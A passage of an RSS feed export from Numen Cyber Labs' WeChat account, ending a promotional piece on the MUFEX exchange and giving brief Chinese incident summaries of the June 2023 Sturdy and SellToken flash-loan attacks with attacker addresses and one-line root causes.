0.578px;text-wrap: wrap;">M</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">UFEX </span>确保了用户的隐私和用户资产的安全，同时提高了整体交易性能和体验。通过智能合约钱包，MUFEX 提供了一个让人想起 Web2.0 的无缝注册和登录过程，消除了对助记短语或私钥的需求，同时确保了个人资产的安全。</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;">MUFEX 拥有类似于传统集中式交易所的交易体验，并通过创新</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;">的 MLP 流动性池来最大限度地减少滑动，为精准和无与伦比的交易机会奠定了基础。</span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.034em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">M</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 0.578px;text-wrap: wrap;">UFEX </span>还致力于 chat2Trade，使交易无处不在，并支持 Web3 的广泛采用。MUFEX 引入了业界领先的联盟系统和平台，超越一切，提供卓越的客户服务。MUFEX 拥有一支由近30名成员组成的团队，其中包括来自币安，Bybit，Huobi 和 MEXC 等知名交易所的经验丰富的企业家，站在加密货币行业的前沿，随时准备重新定义用户使用加密货币的方式，释放无限的可能性。</span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><span style="letter-spacing: 0.034em;text-wrap: wrap;"></span></span></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="124203"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;" data-width="100%"><span style="letter-spacing: 0.034em;"></span></section></section></section></section></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="122336"><section><section><section data-autoskip="1"><p><br/></p></section><section style="width: 100%;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://numencyber.com/ " target="_blank">https://numencyber.com/ </a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;font-size: 15px;letter-spacing: 0.544px;text-wrap: wrap;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486020">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=93898002&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486020%26idx%3D1%26sn%3D1b7b032e5d58db918e0c2617ee676638%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 14 Jun 2023 18:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Web3 安全 | Sturdy，SellToken 两起闪电贷攻击事件分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486009&amp;idx=1&amp;sn=1718998a66e33ccb5efa486de6d3b1e2</link>
      <description>“攻击者”利用重入漏洞，重复创建合约以调用 joinPool 函数，然后调用 exitPool 函数。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen Cyber Labs</span> <span>2023-06-12 19:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>“攻击者”利用重入漏洞，重复创建合约以调用 joinPool 函数，然后调用 exitPool 函数。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c1e68da4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4QwmwhZOvXDaSvG8kzHjOyoOebmDTSkrtpNjPaOQ0udF7VaOrTTyTgw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;margin-top: 0px;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5589856670341786" data-s="300,640" style="" data-type="png" data-w="907" src="https://wechat2rss.xlab.app/img-proxy/?k=74419fa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4DvHibKsn4HsBVjUEuDOmJCwTFJH0oYvOtdCrbt9s7bia1bULibBzOVDdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-top: 0px;margin-bottom: 0px;"><br/></p><p style="text-align: center;margin-top: 0px;margin-bottom: 0px;"><br/></p><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="90398"><section style="width: 100%;text-align: center;margin-bottom: 0px;"><section style="display: inline-block;width: 60px;height: 50px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4PfEZV5q6ia0XiciaRWrLPF9hGZ6qQpRTKGxHY2cmz3BlHEdIGKwuqX9mw/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 100%;line-height: 24px;color: rgb(254, 254, 255);font-size: 24px;margin-top: 10px;" data-width="100%"><strong>0</strong><span data-original-title="" title=""><strong>1</strong></span></section></section></section></section></section><p style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">根据 Numen 链上监控显示，Jun-12-2023 01:06:35 AM（+UTC）， Ethereum 链上 <span style="text-align: left;text-wrap: wrap;">Sturdy（@</span>Sturdy Finance）项目遭到闪电贷攻击，损失442枚 ETH，价值约80万美元。</span></p><p style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></p><p style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">被盗资金已全部转移至 Tornado.Cash。</span></p><p style="margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(48, 56, 65);background-color: rgb(214, 214, 214);"></span></p><p style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="107815"><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4EAQRAGxwAaoNxdQzzP06nCYBBPqlyibSzvQhIuB4kKI0ibiaobt2Iicgiaw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;"><span style="font-size: 15px;letter-spacing: 1px;"><strong>事件分析</strong></span></section></section></section></section></section></section><section style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><strong>攻击者地址：</strong></span></section><section style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="background-color: rgb(214, 214, 214);font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b</span></section><section style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><strong>攻击者合约地址：</strong></span><span style="background-color: rgb(214, 214, 214);color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab</span></section><section style="text-align: left;margin: 0px 8px;line-height: 1.75em;"><span style="background-color: rgb(214, 214, 214);font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="margin: 0px 8px;line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;text-align: left;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: left;padding-right: 7px;padding-left: 7px;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><strong data-brushtype="text">根本原因</strong></span></section></section></section></section></section></section><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">“攻击者”利用<span style="text-wrap: wrap;">重入漏洞，重复创建合约以调用 joinPool 函数，然后调用 exitPool 函数。</span><br/></span></section><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="text-wrap: wrap;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="text-wrap: wrap;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.45441176470588235" data-w="680" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=495a0cf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4DjbiamxBqoQhyJUgI8kE8GBY7lwPpzP4apFhuiaC91icg304OiceM5sJow%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="text-wrap: wrap;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="text-wrap: wrap;font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">由于 exitPool 函数中存在重入 #vulnerability，黑客获得了操纵从  getAssetPrice(cB-stETH-STABLE) 获得的价格并从中获利的能力。</span></section></section><section><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-family: Arial;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;vertical-align: baseline;white-space: pre-wrap;border-width: initial;border-style: none;border-color: initial;display: inline-block;overflow: hidden;width: 602px;height: 67px;"><img class="rich_pages wxw-img" data-ratio="0.1111111111111111" width="602" data-type="png" data-w="1080" height="67" src="https://wechat2rss.xlab.app/img-proxy/?k=e82d391f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4cJK3RwT4oDu1S7dkfuKUTATOYfkkpSkuBLIicTWicImYeKiaicic05gd0UQ%2F640%3Fwx_fmt%3Dpng"/></span></p><section dir="ltr" style="line-height: 1.38;margin: 0pt 8px;"><span style="font-family: Arial;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;vertical-align: baseline;white-space: pre-wrap;border-width: initial;border-style: none;border-color: initial;display: inline-block;overflow: hidden;width: 602px;height: 176px;"><img class="rich_pages wxw-img" data-ratio="0.29287305122494434" width="602" data-type="png" data-w="898" height="176" src="https://wechat2rss.xlab.app/img-proxy/?k=15ed34cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4C2gWrRDwmibibRatficyYOYpwicEEy2efqQ2Llou49stibsL0ibxPxx1vGdw%2F640%3Fwx_fmt%3Dpng"/></span></section></span><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="90398"><section style="width: 100%;text-align: center;" data-width="100%"><section style="display: inline-block;width: 60px;height: 50px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4PfEZV5q6ia0XiciaRWrLPF9hGZ6qQpRTKGxHY2cmz3BlHEdIGKwuqX9mw/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 100%;line-height: 24px;color: rgb(254, 254, 255);font-size: 24px;margin-top: 10px;" data-width="100%"><strong>0</strong><strong>2</strong></section></section></section></section></section><section dir="ltr" style="margin: 0px 8px;line-height: 1.75em;"><br/></section><section dir="ltr" style="margin: 0px 8px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">近期闪电贷攻击事件较为频发。<br/></span></section><section dir="ltr" style="margin: 0px 8px;line-height: 1.75em;text-align: left;"><br/></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">根据 Numen 链上监控显示，Jun-11-2023 10:37:49 AM（+UTC），SellToken（@TrustTheTrident）可能受到了攻击，攻击者利用闪电贷和多个</span><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">地址借入了大量资金。</span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;"><br/></span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;">攻击者地址：</span></strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;background-color: rgb(214, 214, 214);">bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089</span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><br/></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;">攻击者合约地址：</span></strong><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;background-color: rgb(214, 214, 214);">bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052</span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: justify;"><br/></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">根本原因</strong></section></section></section></section></section></section></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">攻击者通过矿工合约中的“sendMiner”方法操纵价格，使计算的资金膨胀，最终获得可观的金额。</span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.36116910229645094" data-s="300,640" style="" data-type="png" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=365435ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4iaibicxQ81hnF8dFzG96ZAOjxv1YqTSFE8lWFAY1HVwazibuwR4OdMInLw%2F640%3Fwx_fmt%3Dpng"/></section><section style="letter-spacing: 0.578px;text-wrap: wrap;margin: 0px 8px;line-height: 1.75em;text-align: left;"><br/></section><p dir="ltr"><br/></p><p dir="ltr"><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="124203"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><p><br/></p><p><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="122336"><section style="margin: 10px auto;"><section style="display: flex;justify-content: flex-end;margin-bottom: -29px;"><section style="width: 25px;height: 0px;overflow: hidden;"><br/></section></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 100%;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;" data-width="100%"><br/></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 10px 15px;"><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong>关于 Numen Cyber</strong></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><p>Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</p><p><br/></p><p>拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</p><p><br/></p><p>目前 Numen Cyber 的合作伙伴包括不限于 Binance，Sui，Cobo，BitForex，ChainUp，Suiet 等，也包括新加坡金融管理局、新加坡国立大学、中国移动，以及阿里云、腾讯云、华为云、亚马逊、微软等。</p><p><br/></p></section><section style="width: 100%;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><p><br/></p><section data-role="paragraph" style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Numen 官网</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://numencyber.com/ " target="_blank">https://numencyber.com/ </a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: 